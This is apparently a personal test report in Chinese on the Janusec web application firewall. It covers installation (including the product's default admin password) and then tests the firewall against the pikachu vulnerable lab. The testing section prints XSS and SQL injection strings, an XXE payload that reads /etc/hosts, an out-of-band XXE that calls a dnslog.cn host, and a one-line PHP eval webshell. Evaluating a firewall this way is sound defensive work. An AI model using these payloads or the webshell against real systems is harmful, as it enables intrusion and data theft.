Skip to content

产品信息简介

名称 开源协议 开发语言 开源时间 活跃度 代码质量 最新版本 厂商
Janusec GNU AGPLv3 Go 2021-04-5(1.0.0) 923⭐️ 2022-04-03 (1.2.9) 个人开发者

产品描述

Janusec应用网关,一种适用于各种场景(公有云、私有云、传统IDC等)的应用安全解决方案,提供WAF(Web应用防火墙)、CC防护、身份认证、安全运维、Web路由、负载均衡、自动化证书等功能,可用于构建安全的、可扩展的应用。

功能

  • WAF (Web Application Firewall, Web应用防火墙,天然支持HTTPS且不需要Agent )
  • CC防护(多道防线)
  • 统一的Web化管理
  • 证书加密保护
  • 负载均衡(可扩展的部署架构)
  • SQL注入
  • 跨站脚本
  • 敏感数据泄露
  • CC攻击
  • 阻断(Block)、验证码(Captcha)等多种策略
  • 支持多个检查点的组合策略

让管理更简单

  • 统一的Web化管理中心

架构可扩展

  • 多网关节点支持
  • 自动化策略同步

证书保护

  • 私钥加密存储
  • 只在内存使用

安装

quick-start docker

  1. download images
docker pull registry.cn-shenzhen.aliyuncs.com/janusec/janusec:1.2.3
# 测试容器版本1.2.3 最新版本为1.2.9
  1. run
docker run -d --privileged=true --restart=always -p 80:80 -p 443:443 -p 9080:9080 -p 9443:9443 registry.cn-shenzhen.aliyuncs.com/janusec/janusec:1.2.3 /sbin/init
  1. 修改测试域名 使用[[开发测试工具-SwitchHosts]]添加测试域名
#WAF-test
10.9.95.230 waf.com
  1. 修改密码 初始用户密码:
  2. admin
  3. J@nusec123 (登录后会提示修改)
  4. 使用参见文档介绍

主机部署

需求

节点 操作系统 数据库
主节点 Debian 9/10/11+, CentOS/RHEL 7/8+, 首选Debian 10, x86_64, 使用 systemd和nftables PostgreSQL 10/11/12+
副本节点 Debian 9/10/11+, CentOS/RHEL 7/8+, 首选Debian 10, x86_64, 使用 systemd和nftables 不需要

准备主机防火墙nftables

nftables用于拦截CC攻击,减轻应用网关压力。 CentOS 7默认没有安装nftables,需要手工安装并启动:

yum -y install nftables  
systemctl enable nftables  
systemctl start nftables
# 查看规则
nft list ruleset

下载

cd ~  
wget `https://www.janusec.com/download/janusec-1.2.9-amd64.tar.gz`  tar zxf ./janusec-1.2.9-amd64.tar.gz

安装

请切换到root用户并运行 install.sh , janusec应用网关将安装在目录: /usr/local/janusec/

su  
cd janusec-1.2.x-amd64  
./install.sh

选择 1. Primary Node, 然后安装程序会:

  • 将所需文件复制到 /usr/local/janusec/
  • 将服务配置文件复制到系统服务目录
  • 将Janusec应用网关服务设置为自动启动,但首次安装时不会启动,需要在配置完成后手工启动一次.

配置

PostgreSQL没有包含在发布包中,需要自行准备PostgreSQL数据库、数据库、账号,可参考运维管理中的PostgreSQL安装。
现在我们假设您已经安装好了PostgreSQL,且数据库已创建,用户名和口令已准备好。
然后编辑 /usr/local/janusec/config.json :

主节点 (第一个节点,必选)

可参考配置文件说明,其中:

“node_role”: “primary” ( 固定为 `primary` )
副本节点(可选)

通常多个小型应用只使用一个主节点就够了。
当流量增长后,可使用副本节点扩展,需要配合您自己的GSLB(全球服务器负载均衡)或支持分区解析的DNS来实现(也就是说,不同地区的用户,会连接到不同的网关节点)。

可参考配置文件说明,其中:

“node_role”: “replica” ( 固定为 replica )

并配置"replica_node"中的内容:

“node_key”: “从管理后台节点管理中复制过来”,
“sync_addr”: “https://gateway.primary_node.com:9443/janusec-admin/api”

说明:

  • 如果使用了副本节点,请为主节点单独申请一个域名(例如gateway.primary_node.com,用于副本节点获取配置更新,该域名只指向主节点),并且配置一个应用(Application),Destination可配置为127.0.0.1:9999 (实际不使用)。
  • 如果"primary_node" - “admin” - “listen” 为false,“sync_addr"中请勿包含冒号和端口号,如"https://gateway.primary_node.com/janusec-admin/api”

启动

systemctl start janusec

测试安装

打开浏览器(比如Chrome),使用如下地址:

在config.json中,如果 “primary_node” - “admin” - “listen” 为false,则管理入口为:

http://您的网关IP地址/janusec-admin/ , 这是Janusec应用网关的第一个管理地址
https://您的任意应用域名/janusec-admin/ (在配置证书和应用之后可以使用)

如果 “primary_node” - “admin” - “listen” 为true,则默认管理入口为:

http://您的网关IP地址:9080/janusec-admin/ , 这是Janusec应用网关的第一个管理地址
https://您的任意应用域名:9443/janusec-admin/ (在配置证书和应用之后可以使用)

默认用户名:admin
默认口令:J@nusec123

高可用部署

附录3: 高可用配置

使用&测试

应用配置

使用pikachu靶场作为后端服务进行测试

测试

1.目录扫描

使用OWASP DirBuster 0.12 进行目录暴力破解,Janusec未拦截,dashboard为显示漏洞攻击告警

2.XSS注入-手动测试

反射型XSS-get

  1. 出入框中测试<>Jordan验证是<>是否会被过滤掉 如图即使经过WAF,输入的查询内容依然原封不动的输出到标签中,可以一进步测试。 测试JS代码
<script>alert("xss")</script>

注意:前端对输入长度进行了限制,需要修改前端标签的长度限制进行绕过 绕过WAF直接请求后端服务 经过WAF请求结果命中Policy ID 10114 Basic XSS Tags策略

Policy ID 10115 Basic XSS Functions Policy ID 10116 Basic XSS Event

存储型xss💀

浏览版输入<script>alert("xss")</script>成功弹窗,WAF失效

CC防护

测试存储型XSS,反复删除留言板时出发CC防护策略

3.SQL注入-手工

字符型注入-get

输入kobe' or 1=1#经过WAF 命中 Policy ID: 10106

搜索型注入

输入k%' or 1=1#经过WAF命中Policy ID: 10102

XX型注入

输入kobe') or 1=1#经过WAF命中Policy ID: 10106

4.RCE

输入phpinfo();经过WAF命中webshell Policy ID: 10112

5.XXE💀

输入palyload,经过WAF为被阻断,失败

<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///etc/hosts"> ]> <x>&f;</x>

XXE带外测试失败💀

输入

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://a5kps8.dnslog.cn" >
]>
<value>&xxe;</value>

6.文件上传-webshell

客户端check

绕过前端限制,删除onchange="checkFileExt(this.value)"上传PHP webshell成功

<?php
eval($_POST["pass"]);

经过WAF被banner

7.OWASP Top 10

使用OWASP ZAP 2.11.1测试 测试项及结果

  强度 进展 Elapsed Reqs 警报 状态
分析仪     00:00.216 36    
             
Plugin            
Path Traversal 中等的 100 09:38.184 159 0 完成
远程文件包含 中等的 100 08:49.120 80 0 完成
Source Code Disclosure - /WEB-INF folder 中等的 100 00:01.608 7 0 完成
External Redirect 中等的 100 18:48.339 172 1 完成
Server Side Include 中等的 100 08:39.117 102 0 完成
Cross Site Scripting (Reflected) 中等的 100 04:19.813 137 0 完成
Cross Site Scripting (Persistent) - Prime 中等的 100 01:19.335 29 0 完成
Cross Site Scripting (Persistent) - Spider 中等的 100 02:04.693 184 0 完成
Cross Site Scripting (Persistent) 中等的 100 00:30.836 0 0 完成
SQL Injection 中等的 100 09:39.681 97 0 完成
Server Side Code Injection 中等的 100 04:33.695 74 1 完成
Remote OS Command Injection 中等的 100 15:10.048 147 1 完成
Directory Browsing 中等的 100 02:02.420 185 32 完成
缓冲区溢出 中等的 100 00:19.764 31 0 完成
格式字符串错误 中等的 100 03:33.630 65 0 完成
CRLF Injection 中等的 100 17:50.856 169 0 完成
Parameter Tampering 中等的 100 09:14.914 74 0 完成
ELMAH信息泄漏 中等的 100 00:20.010 0 0 完成
.htaccess Information Leak 中等的 100 00:34.186 35 0 完成
Script Active Scan Rules 中等的 100 00:00.000 0 0 跳过,未启用任何脚本
跨站点脚本(基于DOM) 中等的 100 00:05.864 0 0 跳过,启动或连接浏览器失败
SOAP Action Spoofing 中等的 100 00:00.503 0 0 完成
SOAP XML Injection 中等的 100 00:19.623 0 0 完成
             
总计     117:34.853 2298 35  

WAF dashboard显示结果